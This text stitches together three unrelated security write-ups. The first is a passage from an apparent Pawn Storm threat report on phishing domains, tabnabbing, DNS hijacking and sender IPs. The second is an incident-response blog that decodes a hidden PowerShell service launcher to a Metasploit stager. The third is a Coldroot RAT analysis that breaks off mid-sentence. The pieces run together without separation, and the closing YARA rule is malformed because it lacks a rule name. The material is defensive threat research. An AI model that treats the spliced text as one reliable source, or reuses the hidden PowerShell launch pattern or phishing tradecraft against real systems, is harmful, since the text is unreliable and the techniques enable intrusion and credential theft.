Arbitration for Sport (TAS-CAS) in 2016, a group that calls themselves the “Fancy Bears’ Hack team” posted medical records of athletes on their website. The hack team claims they stood for “fair play and clean sport,” however, in reality, they leaked confidential medical records that were very likely stolen by Pawn Storm. This move could be meant as retaliation against the decision of WADA to block several athletes from the Olympics in Rio de Janeiro, Brazil. It could also be meant to weaken the position of WADA and influence the public opinion of doping incidents. In 2015, US Army information was released on the site cyb3rc.com by a group calling itself the Cyber Caliphate. The group presented itself as pro-ISIS and suggested that they are an Islam-inspired terrorist group. In the same year, Cyber Caliphate claimed to have taken down the live broadcast of French TV station TV5 for a number of hours. Pro-ISIS messages from the group also appeared on the Twitter and Facebook accounts of TV5. This was particularly painful for France, a country that was still in shock from terrorist attacks on the editors of Charlie Hebdo, a French satirical weekly magazine. However, it was later reported that the Cyber Caliphate was actually a front of Pawn Storm. French magazine L’Express shared indicators with us that clearly connected Cyber Caliphate to Pawn Storm, which French authorities later confirmed. The motives for the TV5 attack are still unclear. Of course, it is also possible that this attack was the work of undisciplined Pawn Storm actors. Though the Pawn Storm actors normally work in a professional way, there have been a few other incidents where some Pawn Storm actors showed a lack of discipline. ### Maneuvers Used Against Political Organizations In 2016 the Democratic National Committee (DNC) was allegedly hacked by Pawn Storm. Stolen emails were published by WikiLeaks and a site called dcleaks.com, a domain very likely controlled by Pawn Storm. After the DNC hack became public, a lone hacker called Guccifer 2.0 claimed responsibility. He claimed to be Romanian, but while communicating with the press, it appeared that Guccifer 2.0 was not fluent in Romanian at all. A study of ThreatConnect showed that Guccifer 2.0 approached news media and offered them exclusive access to password-protected parts of the dcleaks.com site. This specific site actually leaks email repositories taken from mainly US Pawn Storm targets that have been victimized by the group’s advanced Gmail credential phishing campaigns. We were able to collect a substantial amount of information on the Gmail credential phishing campaigns of Pawn Storm from 2014 onwards. This makes it very likely that Guccifer 2.0 is a creation of the Pawn Storm actor group. Meanwhile, WikiLeaks, which has dubbed itself a “multi-national media organization and associated library,” published emails from the DNC and the AK party of Turkish President Erdogan in 2016. We know that the DNC received a wave of aggressive credential phishing attacks from Pawn Storm in March and April 2016: during the campaign, dozens of politicians, DNC staff, speech writers, data analysts, former staff of the Obama campaign, staff of the Hillary Clinton campaign, and even corporate sponsors were targeted multiple times. Pawn Storm also used phishing campaigns against the Turkish government and parliament in early 2016. This makes it highly plausible that the emails published by WikiLeaks were originally stolen by the Pawn Storm actor group. ### Utilizing Mainstream Media There have been instances when Pawn Storm uses mainstream media to publicize their attacks and influence public opinion. Several media outlets have confirmed that they were offered exclusive access to data stolen by Pawn Storm. When the reputable German magazine Der Spiegel reported on doping in January 2017, Der Spiegel wrote they were in contact with the “Fancy Bear hackers” for months and that in December 2016 they received “several sets of data containing PDF and Word documents in addition to hundreds of internal emails from United States Anti-Doping Agency (USADA) and WADA, the World Anti-Doping Agency.” This is a clear example where Pawn Storm successfully contacted mainstream media to influence the public opinion about a political topic. The reports on the Democratic Congressional Campaign Committee (DCCC) being compromised, published at the end of July 2016, serve as another example. We discovered that the website was severely compromised more than five weeks before it became public. All donations meant for dccc.org were first redirected to a site that was under Pawn Storm’s control—this means that the actors had the opportunity to compromise donors of the Democratic Party. At the time of discovery, the compromise was about a week old and still live. We disclosed the compromise to US authorities responsibly and the problem was addressed quickly. We did not publish our findings as a public report could actually benefit Pawn Storm by highlighting their capabilities and also impact the US elections. But then more than five weeks later the compromise did make headlines. Pawn Storm possibly contacted mainstream media about the compromise and, just like in other cases, offered “exclusive” access to stolen information. ### Phishing and Things Pawn Storm Can Do with the Data In April and May 2016 Pawn Storm launched phishing campaigns against the German political party Christian Democratic Union (CDU) headed by Angela Merkel, which is also around the same time the group set up phishing sites against two German free webmail providers. German authorities later confirmed that this attack was the work of Pawn Storm. However, it is unknown if they were successful or not. No emails of CDU have been leaked yet, but in some instances Pawn Storm has waited for more than a year before it started to leak stolen data. The timed release of information is one way a threat actor can maximize the impact of their attack against a target. In early 2016, Pawn Storm also set up credential phishing sites that targeted ministries of the Turkish government and the Turkish parliament. Another credential phishing site was set up to target the parliament of Montenegro in October 2016—this was likely the work of Pawn Storm as well. Pawn Storm has also probably leaked stolen information via cyber-berkut.org. This is the website of an actor group posing as an activist group with a particular interest in leaking documents from Ukraine. The exact relation between Pawn Storm and CyberBerkut is unknown, but we have credible information that CyberBerkut has published information which was stolen during Pawn Storm’s credential phishing campaigns. Prior to leaking the information, parts of the documents and emails were allegedly altered. The authenticity of leaked data is generally not verified, allowing threat actors to alter the stolen data to their own benefit and present it as real and unaltered. By publishing carefully selected pieces of unaltered stolen data, threat actors can even more effectively influence public opinion in a way that is aligned with their interests. The incidents mentioned above show Pawn Storm’s interest in influencing politics in different countries. This is not limited to the presidential elections in the US, but goes beyond that. Resourceful threat actors such as Pawn Storm can sustain long-term operations and leverage different attacks that can last for years—such as credential phishing. The next sections will detail how credential phishing has been so effective for Pawn Storm. ## How Pawn Storm Attacks Free and Corporate Webmail ### Credential Phishing Credential phishing is an effective tool in espionage campaigns. A lot of internet users are trained by experience not to fall victim to phishing. They are trained to spot obvious grammar and spelling errors, uncommon domains in the phishing URLs, and the absence of a secure, encrypted connection in the browser bar. However, professional actors have the resources to avoid simple mistakes and invent clever social engineering tactics. They send phishing emails in flawless English and other languages when needed, and they have no problem evading spam filters. Essentially, credential phishing attacks have become an effective and dangerous tool that can have severely damaging effects. In these attacks a huge amount of sensitive data might be stolen. Credential phishing also serves as the first step to penetrate deeper into the infrastructure of a target organization. Several attack scenarios are possible through credential phishing: - Silent data gathering over an extended period of time—Pawn Storm being a prime example since our data tracks them silently collecting information for more than a year. - Compromised accounts are used to further penetrate into the network of a victim organization, for example by sending emails using stolen identities. - Leaking sensitive emails in order to cause harm to the victim organization and influence public opinion. - Domestic espionage on citizens of nations. Using these simple, but oftentimes well-prepared credential phishing attacks, a group can collect an enormous amount of data. Pawn Storm is doing all of the above. In 2016 the group is believed to have stolen information from the DNC, Hillary Clinton’s campaign team, and WADA. They also launched credential phishing attacks on numerous other organizations: armed forces, defense companies, media, and many others. It is very likely that from July 2015 to August 2016, Pawn Storm had access to the Gmail account of Colin Powell, former United States Secretary of State under the George Bush administration. In September 2016, more than one year after the initial compromise, dcleaks.com posted several of his personal emails online. This was just one of the many examples where Pawn Storm leaked confidential information, and it shows that some of the compromises span a lengthy period. Russian citizens—journalists, software developers, politicians, researchers at universities, and artists—are also targeted by Pawn Storm. Several Russian media organizations (including mainstream media corporations) and foreign embassies in Moscow are common targets too. Pawn Storm has maintained long-running campaigns against high profile users of free international webmail providers like Yahoo and Gmail; as well as webmail providers for Ukrainian internet users (Ukr.net), and Russian users (Yandex and Mail.ru). Pawn Storm sets up phishing sites of other free webmail providers for very specific targets only. We found Pawn Storm phishing domains for relatively small webmail providers in Cyprus, Belgium, Italy, Norway, and other countries. Users of university webmail in Estonia and Russia were targeted as well. These were probably part of tailored attacks where Pawn Storm had very specific and high profile targets in mind. The credential phishing attacks against high profile Google, Yahoo and Ukr.net users are relatively voluminous. We were able to collect thousands of phishing emails since early 2015. It was not continuous. Pawn Storm sometimes paused activities, which they then later on resumed. Some targets get multiple phishing emails in one week. ### Credential Phishing Attacks on Corporate Webmail Attacking corporate email makes a lot of sense for threat actors as email is one of the weakest points in the targets’ defense. In the last four years, Pawn Storm has launched numerous credential phishing attacks against the corporate email system of many organizations. Targets included armed forces, defense industry, political parties, NGOs, media, and governments around the world. Breaching corporate email accounts may lead threat actors to valuable, confidential data and it can be a stepping stone for penetrating deeper into the target organization. Many organizations allow their employees to read email while they are out of the office. While this greatly enhances user convenience, webmail introduces significant risks. Webmail that can be accessed from anywhere introduces an attack surface that can be probed not only through direct hacking, but also by advanced social engineering. While people might be used to less sophisticated credential phishing emails, advanced actors have shown remarkable creativity in their attacks and often they are fluent in foreign languages as well. For some of the attacks, victims cannot be blamed for falling for the social engineering tricks. We have seen phishing lures that are almost indistinguishable from legitimate emails. One of the social engineering lures makes use of a form of tabnabbing. Here are some considerations on the security of webmail: - Two-factor authentication improves security, but it doesn’t make social engineering impossible. All temporary tokens can be phished by an attacker. - Even when two-factor authentication is used, an attacker only has to phish for the second authentication token one or two times to get semi-permanent access to a mailbox. They can set up a forwarding address or a token that allows third party applications full access to the system. - Mandatory logging in onto a company VPN network does raise the bar for an attacker. However, VPN credentials can also be phished, and we’ve seen targeted attackers specifically go after VPN access credentials. - Authentication with a physical security key makes credential phishing virtually impossible unless the attacker has physical access to the equipment of the target. When a target uses a physical security key, the attacker either has to find an exploit to get unauthorized access, or he has to get physical access to the security key and the target’s laptop. - To add to authentication methods that are based on what you know and what you have, one could add authentication that is based on what you are: fingerprints or other biometric data. Biometrics have already been used by some laptops and phone vendors, and have also been a common authentication method in datacenters for more than a decade. ### Phishing Campaign Targets This section lists some of the organizations that were targeted by Pawn Storm with a campaign that was specifically set up for them. In many cases, only very few employees of these organizations were targeted. | Date | Organization | Phishing Domain | |------------|-----------------------------------------------------------------------------|-----------------------------------------------| | 12/12/13 | Chilean military | mail.fach.rnil.cl | | 05/15/14 | Armenian military | mail.rnil.am | | 10/23/14 | Latvian military | web.mailmil.lv | | 02/25/15 | Romanian military | fortele.ro | | 03/25/15 | Danish military | webmail-mil.dk | | 03/26/15 | Portuguese military | webmail.exerclto.pt | | 05/13/15 | Greek military | webmail-mil.gr | | 09/04/15 | Danish military | fkit-mil.dk | | 09/05/15 | Saudi military | mail.rsaf.qov.sa.com | | 10/16/15 | United Arab Emirates army | mailmil.ae | | 10/19/15 | Kuwaiti military | mail.kuwaitarmy.gov-kw.com | | 10/21/15 | Romanian military | mail-navy.ro | | 03/04/16 | Bulgarian army | mail.armf.bg.message-id8665213.tk | | 01/23/14 | MOD Bulgaria | mail.arnf.bg | | 02/11/14 | MOD Poland | poczta.mon.q0v.pl | | 04/04/14 | MOD Hungary | mail.hm.qov.hu | | 04/30/14 | MOD Albania | mod.qov.al | | 05/22/14 | MOD Spain | mail.mod.qov.es | | 11/18/14 | MOD Afghanistan | mail.mod.qov.af | | 09/05/15 | MOD Saudi Arabia | mail.moda.qov.sa.com | | 02/19/16 | MOD Poland | poczta.mon-gov.pl | | 03/17/15 | MFA South Georgia | email.mfa.qov.gs | | 07/16/15 | MFA Armenia | webmail-mfa.am | | 10/02/15 | MFA United Arab Emirates | webmail.mofa.qov.ae | | 10/02/15 | MFA United Arab Emirates | webmail.mfa.qov.ae | | 12/10/15 | MFA Qatar | mail.mofa.g0v.qa | ### Tabnabbing in Credential Phishing Tabnabbing is a term that was originally introduced by researcher Aza Raskin. He describes the attack as follows: a URL in an open tab of the browser is changed to a phishing site when simple JavaScript detects that the user has moved on to another tab or is inactive for some time. When the target believes that the phishing site is the real login site of the internet service he was using, he might reenter his credentials on the phishing site. The trick exploits internet users’ habit of keeping several tabs open in their browser for an extended period of time. Many services like online banking require reentering credentials after a certain period of inactivity so the user might be familiar with this routine. Pawn Storm has been using a variant of tabnabbing. In this attack scenario, the target gets an email supposedly coming from a website he might be interested in—maybe from a conference he is likely to visit or a news site he has subscribed to. The email has a link to a URL that looks very legitimate. When the target reads his email and clicks on the link, it will open in a new tab. This new tab will show the legitimate website of a conference or news provider after being redirected from a site under the attackers’ control. The target is likely to spend some time browsing this legitimate site. Distracted, he probably did not notice that just before the redirection, a simple script was run, changing the original webmail tab to a phishing site. When the target has finished reading the news article or conference information on the legitimate site, he returns to the tab of his webmail. He is informed that his session has expired and the site needs his credentials again. He is then likely to reenter his password and give his credentials away to the attackers. This attack scenario is very simple and doesn’t require any exploit. Its success depends on good preparation by the attacker, but even experienced security researchers could fall for this social engineering trick, in particular when they are on the road and not paying attention to details. In the table below we show some examples of organizations that have been targeted with credential phishing attacks that made use of this tabnabbing trick. | Target Organization | Phishing Domain | Malicious Domain (Social Lure) | Real Domain | |---------------------|------------------|--------------------------------|-------------| | Academi | mail.academl.com | tolonevvs.com | tolonews.com| | Armed forces Latvia | mailmil.lv | tusexpo2015.com | tusexpo.com | | MOD Hungary | mail.hm.qov.hu | aadexpo2014.co.za | adexpo.co.za | | MOD Spain | mail.mod.qov.es | gdforum.net | gdforum.org | | National Security Bulgaria | mail.dansa.bg | counterterorexpo.com | counterterrorexpo.com | ### Compromising DNS Settings In another simple but dangerous attack scenario against corporate email systems, the DNS settings of the mail servers are compromised and changed to point to a foreign server. It is not an unknown scenario, as even reputable companies have had their DNS settings compromised in the past. Often these compromises are done by hackers who want some media attention either for themselves or for a specific cause. These hacks are detected quickly and undone quickly, especially if the hackers are just seeking media attention. They simply put up a “hah, you are hacked” message or something similar on the hijacked domain. A more advanced attacker can apply the same kind of tricks, but as quietly as possible. When an attacker gets DNS admin credentials, he can modify the zone file of a domain name. By changing the MX record of a domain to point to a proxy IP address he controls, an attacker can receive all incoming email. The proxy can be set up to forward all incoming email to the real, actual receiving email server of the target. This allows the attacker to read all metadata of incoming emails, as well as the contents of any email that isn’t encrypted. While this kind of attack is not advanced in nature it can have devastating consequences. We know of a Ministry of Foreign Affairs in an Eastern European country that had the MX record of their domain compromised by Pawn Storm for many months. We warned the Ministry of Foreign Affairs about the compromise, but the process wasn’t that straightforward. All of the email communications of the ministry couldn’t be trusted and we did not trust in the safety of their phone system either. As a solution, we first contacted a CERT contact in Europe by phone. We described the issue and sent the details in a PGP-encrypted email to the Western European CERT. The CERT sent a secure message to an embassy in the affected country. The embassy decrypted and printed the email. After that, a courier gave the message to the Ministry of Foreign Affairs and the issue was addressed and resolved. This attack scenario shows how important it is for organizations to use reputable DNS providers and registrars only, and to lock down their domain registration so that they don’t get hijacked easily. In the past there was at least one other instance where the DNS settings of a government institution in a West African country were compromised by Pawn Storm for a couple of months. ## Pawn Storm Phishing Campaigns ### Credential Phishing Campaigns Pawn Storm is constantly trying to get access to the mailboxes of high profile users of free webmail services. We know of dozens of campaigns, each targeting up to thousands of high profile individuals. The social engineering lures used in the campaigns vary in quality, but some lures can be particularly dangerous. In this section we show a couple of these attacks. We collected credential phishing emails that were sent by Pawn Storm to a handful of high profile Yahoo accounts from January 2015 to December 2016. The diagram below shows the distribution of more than 160 credential phishing attacks that were sent to these high profile Yahoo users. ### Spear-Phishing Campaigns Pawn Storm tries to snare targets using spear-phishing emails that have a malicious attachment or emails that link to an exploit URL. The spear-phishing emails are usually about a recent event covered in the news that is likely to be of interest to the targets. Pawn Storm often uses the exact same headlines from recent news reports seen on media sites like CNN, Al Jazeera, Huffington Post, Military Times and many others. The subject lines clearly indicate that Pawn Storm uses recent newsworthy events to encourage victims to click. Though these are targeted attacks, some of the campaigns are relatively noisy and have been frequently deployed from 2015 to 2016. Most of the attacks were not widely reported in media, but some did make it to the news. In 2016, awareness grew due to the amount of research that was published by Trend Micro and other internet security vendors. For example, in September 2016 several major German newspapers published stories of German politicians that were being attacked by Pawn Storm in August 2016. We can confirm that Trend Micro saw spear-phishing emails sent by Pawn Storm using German political themes as social engineering lures. However, these emails were part of a much bigger campaign with targets in many other countries as well. The spear-phishing campaigns as reported in the German media were actually not that uncommon, but almost business as usual for the Pawn Storm actors. Still, it shows that in 2016 the actors showed a clear interest in compromising political organizations. Though some of the spear-phishing emails are relatively noisy, Pawn Storm is careful with how they infect their targets. First of all, the exploit URLs are specific for every victim—each has a parameter that is unique to the particular target. In case a target clicks on an exploit URL, he will first get fingerprinted with invasive JavaScript code that is not malicious by itself. The JavaScript will upload information like the operating system version, language settings, browser plugins, and time zone of the target’s computer to the exploit server. Depending on the fingerprinting results, the exploit server might give back an old exploit, a zero-day, or a social engineering lure. In a lot of cases nothing will happen, apart from a redirection to a benign news site that has an article related to the social engineering lure of the spear-phishing email. The use of a zero-day will also depend on how valuable that zero-day still is to Pawn Storm. Once the zero-day gets discovered and a fix is underway, its value in the attack portfolio will be devalued. In 2016 we witnessed that during the interval of a Windows privilege escalation vulnerability being disclosed and then patched, Pawn Storm ramped up its operations and targeted a broader range of governmental personnel. The group used the just-patched Flash zero-day and the still open Windows privilege escalation vulnerability. Even when a target does get infected with malware, he will first get relatively simple first stage malware installed. This gives Pawn Storm another chance to learn whether a target is worth a deeper probe. If the target is interesting enough, the actor will install second stage components like X-Agent and X-Tunnel. After this, Pawn Storm might try to penetrate deeper into the network infrastructure, so that it can control more nodes in the victim’s network. In 2016, Pawn Storm started to use RTF and other Office documents embedded with a Flash file. The Flash file will upload information on the targets’ system to a remote server. We have witnessed that the remote server may respond with a chain of exploits, zero-days and privilege escalation that will infect the target’s computer. This kind of infection chain was first described by Palo Alto Network researchers and dubbed Dealers Choice. ## Preferred Attacks, Resources, and Tools ### Watering Hole Attacks Pawn Storm has compromised websites that targets are likely to visit. For this kind of attack, the actors have to wait and see who will visit the compromised sites. On these compromised sites, Pawn Storm can choose to inject scripts that will serve their objectives. We have seen instances where Pawn Storm injected the so-called Browser Exploitation Framework (BeEF) exploit on legitimate websites. In other cases, links were inserted that would lead to Pawn Storm’s private exploit kit. Like the name already suggests BeEF works from the browser to attack internet users. BeEF is used by legitimate penetration testers and it is very invasive. The framework includes many modules, including tools for reconnaissance, social engineering and active exploitation of vulnerabilities. BeEF is particularly useful to an attacker when the target doesn’t close inactive tabs in his internet browser. When an internet user opens a browser tab and visits a website that has been compromised to link to a BeEF exploit URL, the attacker has ample time to do reconnaissance and try out different attacks until the browser tab gets closed. These attacks may include social engineering attacks, grabbing passwords, and exploiting vulnerabilities. We have seen that the website of a Ukrainian defense company was compromised to link to a BeEF exploit on a remote server. Visitors of the defense company’s website are likely to be interesting targets to Pawn Storm, and might have been exposed to various attacks. An injection of a BeEF exploit happened to the websites of some Ministries of Foreign Affairs in Europe and Africa as well. Earlier in 2014, Pawn Storm compromised Polish government sites and the website of the Power Exchange in Poland. Visitors to the websites were exposed to Pawn Storm’s private exploit kit. And as we previously mentioned, in June 2016 Pawn Storm compromised the website of the DCCC. Anyone donating money via dccc.org would be redirected to a Pawn Storm-controlled site. Pawn Storm possibly intended to compromise donors of the Democratic Party in the US and to spy on them. However, we have not been able to confirm the exact infection chain. ### Zero-Days Pawn Storm is known to have used several zero-days. For example, at the end of October 2016 Pawn Storm was identified as using a Flash zero-day together with a privilege escalation in Windows. Soon after the Flash vulnerability was patched, Pawn Storm started to make the most out of these partially patched zero-days by exposing more targets to them. On October 28, 2016 a relatively noisy campaign was launched that sent several RTF documents to targets. The RTF document has a Flash file embedded in it that is a simple downloader. We saw that it first downloaded an encrypted Flash exploit from a remote server. Then it downloaded a second file that crashed Microsoft Word. In other reported cases the second file was a first stage payload of Pawn Storm. In July 2015 Trend Micro discovered a Java zero-day that was exploited together with a privilege escalation that evades the click to play protection in Java. Apart from these zero-days, Pawn Storm was also quick to use other vulnerabilities that were disclosed in the leaks of Hacking Team. ### Second Stage C&C Servers We were able to keep track of the live second stage C&C servers from late 2013 until today. At the end of 2013 there were about five live X-Agent C&C servers. In early October 2016, we counted 26 live X-Agent C&C servers. This is a strong indication that Pawn Storm has been very active in 2016. Another local peak was in the fall of 2014, possibly because around that time Trend Micro’s first paper on Pawn Storm was published and the actor group made changes to their infrastructure. Around the Christmas holidays of 2016, the number of live X-Agents C&Cs slightly increased to 27. In January 2017 the number peaked at 28 live X-Agent IP addresses. Pawn Storm did not take a long break during the 2016 holidays. Right after Christmas, on December 26 2016, we saw Pawn Storm recommence their spear-phishing campaign. In January 2017, the usual credential phishing also continued. ### Facilitators Pawn Storm has a clear preference for certain webhosting providers and registrars. This preference is sometimes so specific that newly set up domains can be spotted before they are even used in attacks. In recent months, however, Pawn Storm’s use of IP ranges is getting more diverse and parts of their activity have become more difficult to track. Generally speaking, Pawn Storm uses the internet infrastructure in well-connected countries like the US, UK, France, Netherlands, Latvia, Romania and Germany. In these countries, the national intelligence services could probably easily and legally intercept connections to Command and Control servers, sources of (spear) phishing emails, and Pawn Storm’s exploit sites that are set up in their country. Encryption and TLS in both web traffic and email traffic will limit the usefulness of these legal intercepts, though. For example, for sending credential phishing emails Pawn Storm probably doesn’t have to worry about authorities unless the authorities have access to the servers that are sending the emails. In the table below we illustrate the infrastructure that was used by Pawn Storm to send out Yahoo credential phishing emails in 2015. As far as we are aware, for all of 2015, Pawn Storm only used one IP address in Germany and one in Netherlands to send out the phishing emails. | Date | Sender IP | Server Name | Backend IP | Server Name | |------------|------------------|----------------------------------|------------------|--------------------| | Jan-15 | 80.255.3.94 | ubuntu | 46.166.162.90 | Henry-PC | | Feb-15 | 80.255.3.94 | ubuntu | 46.166.162.90 | Henry-PC | | Feb-15 | 193.169.244.35 | security.service-facebook.com | 46.166.162.90 | Henry-PC | | Mar-15 | 80.255.3.94 | ubuntu | 46.166.162.90 | Henry-PC | | Mar-15 | 193.169.244.35 | security.service-facebook.com | 46.166.162.90 | Henry-PC | | Apr-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | Apr-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | May-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | Jun-15 | 80.255.3.94 | set121.com | 46.183.217.74 | Henry-PC | | Jul-15 | 80.255.3.94 | set121.com | 46.183.217.74 | Henry-PC | | Aug-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | Sep-15 | 80.255.3.94 | set121.com | 46.183.217.74 | Henry-PC | | Oct-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | Nov-15 | 193.169.244.35 | security.service-facebook.com | 46.183.217.74 | Henry-PC | | Nov-15 | 193.169.244.35 | security.service-facebook.com | 185.82.202.102 | WIN-17MK2DLAHLN | | Nov-15 | 80.255.3.94 | exua.email | N/A | N/A | | Nov-15 | 193.169.244.35 | security.service-facebook.com | 87.121.52.145 | Hans-PC | | Dec-15 | 193.169.244.35 | security.service-facebook.com | 87.121.52.145 | Hans-PC | | Dec-15 | 193.169.244.35 | security.service-facebook.com | 185.82.202.102 | WIN-17MK2DLAHLN | This document provides a comprehensive overview of Pawn Storm's activities, methodologies, and the implications of their cyber operations.
# Investigating a Suspicious Service The Incident Response team at MDSec regularly gets queries from our customers, as well as our consultants about odd things that they’ve found, either during engagements or on an ad-hoc basis. Recently, during one of our Purple Team exercises, one of our consultants drew our attention to a large number of services that had been deployed across the customer network, that were quite rightly causing a bit of concern. These services had all the hallmarks of “probably bad, at least very weird”: seemingly randomly named, with some lumps of PowerShell for good measure. The customer and our consultant had a couple of questions about these services: 1. How do we work out when these were created? 2. What is it/how much do we need to care? ## 1: How do we work out when these were created? There are a couple of simple ways to query information about a service; we prefer using `sc qc <service name>`, which displays information about the type of service, the display name, the path name, etc. Unfortunately, this doesn’t display information about when a service was created. There are a number of different ways to obtain this information, some more reliable than others. ### Windows Event Logs You can also query using PowerShell: ```powershell Get-EventLog -LogName System | Where-Object {$_.EventID -eq 7045} | Select-Object -Property TimeGenerated, Message | Format-List ``` Or, if you’re using Log-Extractor: ```bash zgrep '"EventID":{"Qualifiers":"7045"}' * | cut -d ':' -f2- | jq . ``` *Note that the time shown in the Log-Extractor log is UTC whereas the other two are quoted in local time (because Windows hates analysts).* The trouble with using Windows Event Logs for this sort of thing is that if not centralized (as with this customer), these logs typically have a fairly short lifespan resulting in data being missing or inconclusive. ### Registry Services are stored within the Windows Registry, which contains written dates for specific keys. Unfortunately, there’s no super simple way of programmatically getting this data, and in the backward way of Windows, the simplest way is the following: 1. Open Registry Editor 2. Navigate to appropriate key (`HKLM\System\CurrentControlSet\Services\<Service Name>`) 3. Right Click, Export as text (not .reg) ## 2: What is it/how much do we need to care? Looking at the code, we can see that there are two separate commands being run, the first of which is just command prompt being used to start a process: ```bash cmd.exe /b /c start /b /min <command> ``` What this is effectively doing is running the command minimized to a user. Largely unnecessary when running as a service, but there we are! Interestingly from a detection standpoint, this would generate two `cmd.exe` processes with parent-child relationships, and then finally a PowerShell process which would be trivial to signature and unlikely to be associated with legitimate activity. The much more interesting command being run is that of the PowerShell script. Immediately we can observe a couple of things: ```bash powershell.exe -nop -w hidden -noni -c ``` This basically runs the command with no profile (`-nop`) in a hidden window, in non-interactive (`-noni`) mode. But we don’t really care about this beyond the fact that it exists. With a bit of tidying up (and switching to a decent environment), we’re left with some more cohesive PowerShell. We can see here, quite simply the script is looking to see if we’re running a 32-bit or 64-bit system, then launching a PowerShell process in the background with a number of arguments (in this case the bit we care about). Effectively, what this code is doing is Gzip decompressing some base64 encoded data. We can work with that! A couple of lines of Python is all that’s needed to convert this into something sensible: This code should be fairly self-explanatory, but in case it’s not. We can use the Python base64 library to decode the data, then the gzip library to decompress. You could achieve something very similar using CyberChef. The result of which gives us something like: Oh, this looks a bit more complex. This is the point where experience and time optimization come in. We can see that “$c3F” contains some more base64, we can see that this is effectively being copied into “$gB” which is then invoked in a `CreateThread` function, ultimately meaning that the base64 content is executed. Beyond this, we don’t really care at this stage. I’m far more interested in what is under the base64. With some minor adjustments to our Python, we get some gunk out of the Base64, gunk being the technical word for “file doesn’t know what this is.” Ok, well if only it was easy. Let’s have a look at the hex, and from the age-old cybersecurity textbook let’s get some Google going: `FC E8` rang a bell for me before we Googled it, but the search results confirm my suspicions. We always say to analysts, Google everything; sometimes it can save a LOT of time. A long time ago we confirmed that some samples were linked to a known APT group by Googling some strings in a sample we identified. We could have spent significant time and effort reverse engineering the binary, but why bother when someone has already done that work and published it? We save the customer time and money by working efficiently. Enter SCDBG, this awesome tool emulates shellcode and displays what functions are being called. There’s even a pretty GUI to make it utterly foolproof. So, what we have here is most likely a Metasploit stager which is attempting to connect to a 10.x.x.x address on port 4444. Given it’s an internal RFC1918 IP address and a default port number, it seems like the most likely explanation is that a security assessment or internal test had occurred and been poorly cleaned up in the past. At this point, any further analysis with the data in our possession was unlikely to yield any further results, so we reported our findings to the customer who were able to confirm our theory. This is just one of many possible ways of performing analysis of an unknown; the key takeaways are to focus on the key items rather than getting hung up in the details. ## Yara Rule to detect Metasploit and Cobalt Strike Shellcode ```yara { meta: description = "Detects MSF Shellcode" author = "MDSec" date = "2021-05-04" strings: $initial = {fc e8 ?? 00 00 00 00} condition: $initial at 0 } ``` This blog post was written by Chris Basnett.
# Tearing Apart the Undetected (OSX) Coldroot RAT ## Analyzing the persistence, features, and capabilities of a cross-platform backdoor **Date:** 02/17/2018 ### Background Next month, I'm stoked to be presenting some new research at SyScan360 in Singapore. Titled, "Synthetic Reality; Breaking macOS One Click at a Time," my talk will discuss a vulnerability I found in all recent versions of macOS that allowed unprivileged code to interact with any UI component including 'protected' security dialogs. Though reported and now patched, it allowed one to do things like dump passwords from the keychain or bypass High Sierra's "Secure Kext Loading" - in a manner that was invisible to the user. As part of my talk, I'm covering various older (and currently mitigated) attacks, which sought to dismiss or avoid UI security prompts. Think, (ab)using AppleScript, sending simulated mouse events via core graphics, or directly interacting with the file system. An example of the latter was DropBox, which directly modified macOS's 'privacy database' (TCC.db) which contains the list of applications that are afforded 'accessibility' rights. With such rights, applications can then interact with system UIs, other applications, and even intercept key events (i.e. keylogging). By directly modifying the database, one could avoid the obnoxious system alert that is normally presented to the user. Though Apple now thwarts this attack, by protecting TCC.db via System Integrity Protection (SIP), various macOS keyloggers still attempt to utilize this 'attack.' I figured one of these keyloggers would be a good addition to my slides as an illustrative example. Hopping over to VirusTotal, I searched for files containing references to the TCC.db database, which returned a handful of hits. Besides a variety of CounterStrike hacks (csgohack.app), and (known) keyloggers (FreeKeylogger.dmg, KeyLogger.BlueBlood.A), an unflagged file named com.apple.audio.driver2.app (SHA-256: c20980d3971923a0795662420063528a43dd533d07565eb4639ee8c0ccb77fdf) caught my eye. It was recently submitted for a scan, in early January. Note: Al Varnell pointed out it's likely that the original file name was com.apple.audio.driver.app, which corresponds to internal strings within the binary. Thus we'll refer to this sample's application bundle as com.apple.audio.driver.app for the rest of this post. Though currently no AV-engine on VirusTotal flags this application as malicious, the fact it contained a reference to TCC.db warranted a closer look. Using Digita Security's UXProtect, I was also able to easily confirm that Apple has not silently pushed out any XProtect signatures for the malware (to intrinsically protect macOS users). ### Determining Malice My first question was, "is com.apple.audio.driver.app malicious?" Though there is no exact science to arrive at a conclusive answer for this question, several (massive) 'red flags' stick out here. Flags that clearly confirm the malicious nature of com.apple.audio.driver.app: - The application contains a reference to TCC.db. AFAIK, there is no legitimate or benign reason why non-Apple code should ever reference this file! - The application is unsigned, though claims to be an "Apple audio driver." My WhatsYourSign Finder extension will display any signing information (or lack thereof) via the UI. - The application is packed with UPX. Though packing a binary doesn't make it malicious per se, it's rare to see a legitimate binary packed on macOS. - For its main icon, the application uses macOS's standard 'document' icon to masquerade as a document. This is a common tactic used by malware authors in order to trick users into running their malicious creations. - When executed, the application displays a standard authentication prompt, requesting user credentials. After the user enters their credentials, the application performs no other readily visible action. This is not normal application behavior. - Behind the scenes, the application persists itself as a launch daemon. This is a common method employed by malware to ensure that it is automatically (re)started every time an infected system is rebooted. BlockBlock will detect this persistence. - Again, behind the scenes, the application will automatically beacon out to a server. While creating a network connection is itself not inherently malicious, it is a common tactic used by malware - specifically to check in with a command & control server for tasking. LuLu will intercept and alert on this connection attempt. At this point, I was thoroughly convinced that though no AV-engine on VirusTotal flagged com.apple.audio.driver.app, it was clearly malicious! Let's now dive in and reverse it to gain a deeper understanding of its actions and capabilities. ### Analysis First, let's unpack the malware. Since it's packed with UPX, one can trivially unpack it via `upx -d`. Once the malware has been unpacked, one of the first things we notice when reversing its binary is that it was apparently written in Pascal. Though likely done to achieve cross-platform comparability, who the hell writes Pascal on macOS?! Well, apparently at least one person! How do we know it was likely written in Pascal? First, looking at the malware's entry point, `main()`, we see it calling something named `FPC_SYSTEMMAIN` which in turn invokes a function named `PASCALMAIN`. Other strings in the binary reference the Free Pascal Compiler (FPC) and reveal the presence of several Pascal libraries compiled into the malware. The malware's malicious logic begins in the aforementioned 